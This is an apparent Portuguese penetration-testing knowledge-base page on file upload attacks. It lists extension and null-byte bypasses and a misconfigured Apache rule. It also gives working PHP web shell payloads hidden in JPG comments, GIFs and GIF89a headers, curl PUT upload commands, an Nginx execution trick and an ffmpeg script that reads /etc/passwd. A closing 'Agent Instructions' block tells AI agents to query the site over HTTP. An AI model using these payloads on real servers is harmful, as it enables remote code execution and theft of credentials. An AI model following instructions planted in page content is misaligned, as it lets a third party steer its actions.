# File Upload

Ataque extremamente útil para realizar upload de arquivos maliciosos em sites e/ou sistemas.

Imaginamos um cenário onde podemos fazer upload de uma Web Shell, e assim conseguir embutir comandos Linux através desse arquivo.\
Feito isso podemos ler arquivos do servidor, e é claro ler os arquivos do próprio sistema web, que provalmente deve ter alguma autenticação no banco de dados, chaves SSH, variáveis de ambiente com keys, etc.

###

### Linguagens e Suas Extensões

| LINGUAGEM / PLATAFORMA | EXTENSÕES                                                |
| ---------------------- | -------------------------------------------------------- |
| PHP                    | .phtml .php .php2 .php3 .php4 .php5 .php.test .inc .ptar |
| ASP                    | asp .aspx                                                |
| PERL                   | .pl .cgi .pm .lib                                        |
| JSP                    | .jsp .jspx .jsw .jsv .jspf                               |
| ColdFusion             | .cfm .cfml .cfc .db                                      |

{% hint style="success" %}
**DICA**: Sempre que possível, utilize a extensão `.phtml`, pois os servidores web PHP geralmente permitem direitos de execução de código.
{% endhint %}

### &#x20;Windows

#### Gerando Erros

Utilize arquivos com nomes que contém caracteres reservados, como `|`, `<`, `>`, `*` ou `?`. Esses caracteres geralmente são reservados para usos especiais, como curingas. Provalvemente se você já tentou criar arquivos com um desses caracteres, você recebeu uma mensgem de erro informando que deve escolher um nome válido.  Se o aplicativo da web não limpar adequadamente esses nomes ou colocá-los entre aspas, eles podem se referir a outro arquivo (que pode não existir) e causar um erro que divulga o diretório de upload. Da mesma forma, podemos usar nomes reservados do Windows para o nome do arquivo carregado, como (`CON`, `COM1`, `LPT1` ou `NUL`), o que também pode causar um erro, pois o aplicativo da Web não terá permissão para gravar um arquivos com esses nomes.

#### Replace Files

Finalmente, podemos utilizar a Convenção de Nome de Arquivo do Windows 8.3 para substituir arquivos existentes ou fazer referência a arquivos que não existem. As versões mais antigas do Windows eram limitadas a um tamanho curto para nomes de arquivos, então eles usavam um caractere `~` (Til) para completar o nome do arquivo, que podemos usar a nosso favor.

Por exemplo, para fazer referência a um arquivo chamado `mysther.txt` podemos usar `MYS~1.TXT` ou `MYS~2.TXT`, onde o dígito representa a ordem dos arquivos correspondentes que começam com `MYS`. Como o Windows ainda suporta essa convenção, podemos escrever um arquivo chamado por exemplo, `WEB~.CONF` para substituir o arquivo `web.conf`. Da mesma forma, podemos escrever um arquivo que substitua arquivos de sistema confidenciais. Esse ataque pode levar a vários resultados, como causar divulgação de informações por meio de erros, causar um DoS no servidor back-end ou até mesmo acessar arquivos privados.

### Configuração Apache

A configuração abaixo é como o servidor web determina quais arquivos permitirão a execução do código PHP. Ele especifica uma lista branca com um padrão regex que corresponde a `.phar,` `.php` e `.phtml`. No entanto, esse padrão regex tem o mesmo erro de esquecer de terminá-lo com `$`. Nesses casos, qualquer arquivo que contenha as extensões acima terá permissão para execução de código PHP, mesmo que não termine com a extensão PHP. Por exemplo, o nome do arquivo (shell.php.jpg) deve passar no teste anterior da lista de permissões, pois termina com (.jpg), e seria capaz de executar o código PHP devido à configuração incorreta acima, pois contém (.php) em seu nome.

```bash
<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>
```

### Página Web com File Discovery

Em alguns casos, podemos ver páginas web que listam os nomes de arquivos de upload. Em alguns cenários podemos inserir arquivos nesses diretórios, utilizando o método HTTP PUT.

```bash
# Verificando se a página aceita PUT
curl http://site.com.br/uploads -X OPTIONS -I

# Realizando upload do arquivo
curl http://site.com.br/uploads --upload-file <file>
```

Levando em conta que esteja utilizando a URL acima e o Burp Suite para realizar o upload, a URL no Burp iria ser `http://site.com/uploads/<file>` e  no body deverá ter o conteúdo do arquivo que será enviado ao web server.  Deverá ser retornado no cabeçalho algo como `HTTP/1.1 201 Created`.

{% hint style="info" %}
**DICA**: Caso o método DELETE também esteja indisponível, podemos apagá-lo com o comando: **`curl http://site.com.br/uploads -X DELETE`**&#x20;
{% endhint %}

### Null Byte

Isso só funciona em versões abaixo do PHP 5.3 e caso não funcione, substitua `%00` por `%2500`. Em situações de falha, podemos contornar isso de outra maneira, substituindo `%00` por `?`. Colocando a interrogação, o sistema pode entender que se trata de parâmetros GET. Em alguns casos, também pode ser útil tentar utilizar um `\x00`.

###

### Double Extensions

Para "bypassar" a extensão do arquivo, renomeie para os padrões `shell.php.jpg`, `shell.php:.jpg`, `shell.php;.jpg`, etc

### Nginx

Existe uma falha no Nginx que permite fazer upload e executar arquivos php de uma forma um pouco diferente. Para isso, vamos fazer upload do shell php, porém com uma extensão diferente, exemplo:

```bash
echo '<?php echo shell_exec($_GET[0]);?>' > shell.jpg
```

Agora ao acessarmos o arquivo, iremos repetir o nome do arquivo na URL (no exemplo acima demos o nome de `shell)`, da seguinte forma:

```bash
curl http://site.com.br/uploads/shell.jpg/shell.php?0=<command>
```

### Adicionando Código PHP em Imagens

```bash
cat <foto.jpg> > <arquivo.php>
cat <codigo.php> >> <arquivo.php>
```

Se renomear o `arquivo.php` para `arquivo.jpg`, a imagem irá ser exibida corretamente

###

### Inserindo Código em Comentários de Imagens

```bash
exiftool -Comment='<?php echo "<pre>"; system($_GET["cmd"]); ?>' <file.jpg>
```

###

### Inserindo Código em GIFs

```bash
gifsicle < <mygif.gif> -- comment "<?php phpinfo(); ?>" > <output.php.gif>
```

###

### GIF89a

Alguns servidores validam apenas se tem o `GIF87a` ou `GIF89a` no header do arquivo para considerá-lo como um GIF. Então basicamente, apenas adicione o texto `GIF89a;` antes de codificar o shell.

```bash
GIF89a;
<?
system($_GET['cmd']);
?>
```

### Exportando Cabeçalho de Imagem

```bash
head -c 20 <image.jpg> > <output_file.jpg>
```

### SVG

```bash
<?xml version="1.0" encoding="UTF-8"?>
<svg width="17px" height="17px">
    <text>&lt;?php phpinfo(); ?&gt;</text>
</svg>
```

### Vídeo Upload + LFI

Antes de executar o comando abaixo, faça uma cópia do arquivo do vídeo, pois o `ffmpeg-avi-m3u-xbin` irá sobreescrever no arquivo.&#x20;

```bash
./gen_xbin_avi.py file:///etc/passwd <video.mp4>
```

### Sites

```bash
https://github.com/neex/ffmpeg-avi-m3u-xbin

http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html
https://www.owasp.org/index.php/Unrestricted_File_Upload
http://repository.root-me.org/Exploitation - Web/EN - Webshells In PHP, ASP, JSP, Perl, And ColdFusion.pdf
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/upload-file.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
